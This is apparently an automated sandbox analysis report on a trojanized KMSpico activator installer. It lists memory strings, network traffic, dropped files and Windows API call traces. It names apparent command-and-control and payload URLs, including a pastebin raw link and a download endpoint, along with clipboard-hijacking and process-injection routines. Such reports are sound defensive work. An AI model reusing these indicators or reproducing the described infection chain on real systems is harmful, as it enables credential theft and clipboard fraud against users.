              Source: svchost.exe, 00000016.00000003.2737698185.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737870700.0000026DE9B52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
              Source: svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
              Source: svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
              Source: svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf(
              Source: svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf05
              Source: svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2737771117.0000026DE924E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/resetpw.srf
              Source: svchost.exe, 00000016.00000003.2846246293.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4002837227.0000026DE9B37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/retention.srf
              Source: svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/retention.srfce
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001866835.0000026DE92CF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com:443/RST2.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfXHSig
              Source: svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf
              Source: svchost.exe, 00000016.00000003.2737812956.0000026DE9B10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
              Source: svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srfin.live.c
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
              Source: svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srfnage
              Source: svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
              Source: svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srfnUp
              Source: svchost.exe, 00000016.00000003.2737812956.0000026DE9B10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
              Source: svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srf
              Source: svchost.exe, 00000016.00000003.2743517416.0000026DE9B27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM
              Source: svchost.exe, 00000016.00000003.2737812956.0000026DE9B10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
              Source: svchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf#
              Source: svchost.exe, 00000016.00000003.2737812956.0000026DE9B10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
              Source: powershell.exe, 00000017.00000002.2942057979.0000000005066000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://myspecialdot.com
              Source: powershell.exe, 00000017.00000002.2941726385.0000000004A10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myspecialdot.com/api/download
              Source: powershell.exe, 00000017.00000002.2954902308.0000000005F77000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
              Source: core.exe, 00000004.00000003.3433423675.0000000000923000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/
              Source: core.exe, 00000004.00000003.3433423675.0000000000929000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000002.4010341960.000000000282B000.00000004.00000010.00020000.00000000.sdmp, core.exe, 00000004.00000002.4004632884.0000000000929000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2821591602.0000000000929000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/yKBaQkD9
              Source: svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://signup.live.com/signup.aspx
              Source: core.exe, 00000004.00000003.2751984713.0000000003410000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
              Source: core.exe, 00000004.00000003.2751984713.0000000003410000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
              Source: core.exe, 00000004.00000003.2687604867.000000000090A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t.me/unbroski
              Source: core.exe, 00000004.00000003.2771114165.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2772484959.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2783641679.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2811601375.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2821591602.0000000000936000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2687853972.00000000008C3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/
              Source: core.exe, 00000004.00000003.3433423675.0000000000936000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2811601375.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2821591602.0000000000936000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/%T
              Source: core.exe, 00000004.00000003.3433423675.0000000000936000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2783641679.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2811601375.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2821591602.0000000000936000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/8
              Source: core.exe, 00000004.00000003.2749513870.0000000000935000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2750437515.0000000000937000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/Y
              Source: core.exe, 00000004.00000003.2783641679.000000000092B000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2785190359.000000000092D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/a
              Source: core.exe, 00000004.00000003.2687853972.00000000008C3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/api
              Source: core.exe, 00000004.00000003.2687853972.00000000008C3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/api/
              Source: core.exe, 00000004.00000003.2811601375.0000000000937000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/api5
              Source: core.exe, 00000004.00000002.4001096493.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.3434694720.00000000008A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/apiA
              Source: core.exe, 00000004.00000003.2783641679.0000000000921000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/apiceG
              Source: core.exe, 00000004.00000003.2687853972.00000000008BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/apih
              Source: core.exe, 00000004.00000003.2783641679.0000000000937000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/h
              Source: core.exe, 00000004.00000003.3433423675.0000000000936000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2783641679.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2811601375.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2821591602.0000000000936000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tewchjourney.icu/s
              Source: core.exe, 00000004.00000003.2687604867.000000000090A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://web.telegram.org
              Source: core.exe, 00000004.00000003.2752488521.0000000000947000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
              Source: core.exe, 00000004.00000003.2752488521.0000000000947000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
              Source: powershell.exe, 00000017.00000002.2942057979.000000000515A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2942057979.000000000515E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.cloudflare.com/5xx-error-landing
              Source: powershell.exe, 00000017.00000002.2942057979.000000000515E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
              Source: core.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
              Source: core.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
              Source: KMSpico.exe, 00000000.00000003.2144791129.000000007FA6B000.00000004.00001000.00020000.00000000.sdmp, KMSpico.exe, 00000000.00000003.2141159385.0000000003050000.00000004.00001000.00020000.00000000.sdmp, KMSpico.tmp, 00000001.00000000.2146680551.00000000000B1000.00000020.00000001.01000000.00000004.sdmpString found in binary or memory: https://www.innosetup.com/
              Source: core.exe, 00000004.00000003.2751984713.0000000003410000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
              Source: core.exe, 00000004.00000003.2751984713.0000000003410000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
              Source: core.exe, 00000004.00000003.2751984713.0000000003410000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
              Source: core.exe, 00000004.00000003.2751984713.0000000003410000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
              Source: core.exe, 00000004.00000003.2751984713.0000000003410000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
              Source: core.exe, 00000004.00000003.2751984713.0000000003410000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
              Source: KMSpico.exe, 00000000.00000003.2144791129.000000007FA6B000.00000004.00001000.00020000.00000000.sdmp, KMSpico.exe, 00000000.00000003.2141159385.0000000003050000.00000004.00001000.00020000.00000000.sdmp, KMSpico.tmp, 00000001.00000000.2146680551.00000000000B1000.00000020.00000001.01000000.00000004.sdmpString found in binary or memory: https://www.remobjects.com/ps
              Source: KMSpico.tmp, 00000001.00000002.2498152863.000000000094D000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: https://www.safer-networking.org/
              Source: unknownNetwork traffic detected: HTTP traffic on port 49973 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49986
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49996
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49973
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49984
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49994
              Source: unknownNetwork traffic detected: HTTP traffic on port 49996 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49976 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49993
              Source: unknownNetwork traffic detected: HTTP traffic on port 49994 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49992
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49980
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49991
              Source: unknownNetwork traffic detected: HTTP traffic on port 49984 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49986 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49980 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49991 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49992 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49977 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49993 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49977
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49976
              Source: unknownHTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49973 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49976 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49977 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49980 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49984 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49986 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49991 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49992 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49993 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.5:49994 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.136.89:443 -> 192.168.2.5:49996 version: TLS 1.2
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_030B1000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,4_2_030B1000
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_030B1000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,4_2_030B1000
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_030B1000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,4_2_030B1000
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\driver\is-8DGI9.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\driver\is-9599B.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\driver\OpenVPN.cer (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\driver\certELDI.pfx (copy)Jump to dropped file

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: amsi32_6460.amsi.csv, type: OTHERMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
              Source: Process Memory Space: powershell.exe PID: 6460, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_00691E42 NtProtectVirtualMemory,4_2_00691E42
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_00691E04 NtFreeVirtualMemory,4_2_00691E04
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_00691DB1 NtAllocateVirtualMemory,4_2_00691DB1
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_006F066E NtProtectVirtualMemory,4_2_006F066E
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_006F0B72 NtGetContextThread,NtSetContextThread,NtResumeThread,4_2_006F0B72
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_006F11E5 CreateThread,malloc,NtClose,free,4_2_006F11E5
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_006F0CD8 NtAllocateVirtualMemory,4_2_006F0CD8
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_006F114C NtClose,4_2_006F114C
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_006F10E8 NtClose,4_2_006F10E8
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_006F19C5 free,NtClose,free,4_2_006F19C5
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_006F1084 NtClose,4_2_006F1084
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0042F520 NtdllDefWindowProc_A,6_2_0042F520
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00423B84 NtdllDefWindowProc_A,6_2_00423B84
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004125D8 NtdllDefWindowProc_A,6_2_004125D8
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00478E54 NtdllDefWindowProc_A,6_2_00478E54
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00457594 PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,6_2_00457594
              Source: C:\Program Files\KMSpico\UninsHs.exeCode function: 11_2_00401000 BeginPaint,GetStockObject,SelectObject,Rectangle,MoveToEx,LineTo,MoveToEx,LineTo,CreatePen,SelectObject,DeleteObject,MoveToEx,LineTo,MoveToEx,LineTo,SelectObject,DeleteObject,LoadBitmapA,SelectObject,ExitProcess,DeleteDC,DeleteObject,wsprintfA,SelectObject,SetBkColor,DrawTextA,SelectObject,SetBkColor,DrawTextA,LoadIconA,DrawIcon,LoadIconA,DrawIcon,LoadIconA,DrawIcon,GetSysColor,SetBkColor,DrawTextA,DrawTextA,DrawTextA,GetSysColor,SetBkColor,DrawTextA,GetSysColor,SetBkColor,DrawTextA,SelectObject,CreateFontA,CreateWindowExA,SendMessageA,CreateWindowExA,SendMessageA,CreateWindowExA,SendMessageA,CreateFontA,CreateWindowExA,SendMessageA,SetFocus,CreateWindowExA,SendMessageA,SetFocus,CreateWindowExA,SendMessageA,SetFocus,SetTimer,SendMessageA,GetClientRect,ShowWindow,ShowWindow,ShowWindow,ShowWindow,InvalidateRect,lstrcpy,wsprintfA,lstrcpy,ShowWindow,ShowWindow,ShowWindow,wsprintfA,WinExec,ShowWindow,wsprintfA,GetStartupInfoA,InvalidateRect,CloseHandle,EnableWindow,SetWindowTextA,InvalidateRect,ShowWindow,WinExec,InvalidateRect,SendMessageA,SetFocus,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,WaitForSingleObject,GetExitCodeProcess,CloseHandle,EnableWindow,GetClientRect,InvalidateRect,DeleteObject,DeleteObject,KillTimer,PostQuitMessage,NtdllDefWindowProc_A,11_2_00401000
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0042E934: CreateFileA,DeviceIoControl,GetLastError,CloseHandle,SetLastError,6_2_0042E934
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,3_2_00409448
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004555E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,6_2_004555E4
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Windows\system32\is-0JVNC.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Windows\system32\is-5P7A8.tmpJump to behavior
              Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile deleted: C:\Windows\System32\Vestris.ResourceLib.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_0040840C3_2_0040840C
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_006903A74_2_006903A7
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_006900004_2_00690000
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0228628A4_2_0228628A
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B33C04_2_022B33C0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0229F0204_2_0229F020
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0228064A4_2_0228064A
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022836C74_2_022836C7
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B94C34_2_022B94C3
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022B75204_2_022B7520
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0227BB204_2_0227BB20
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_02297BD04_2_02297BD0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022BC8004_2_022BC800
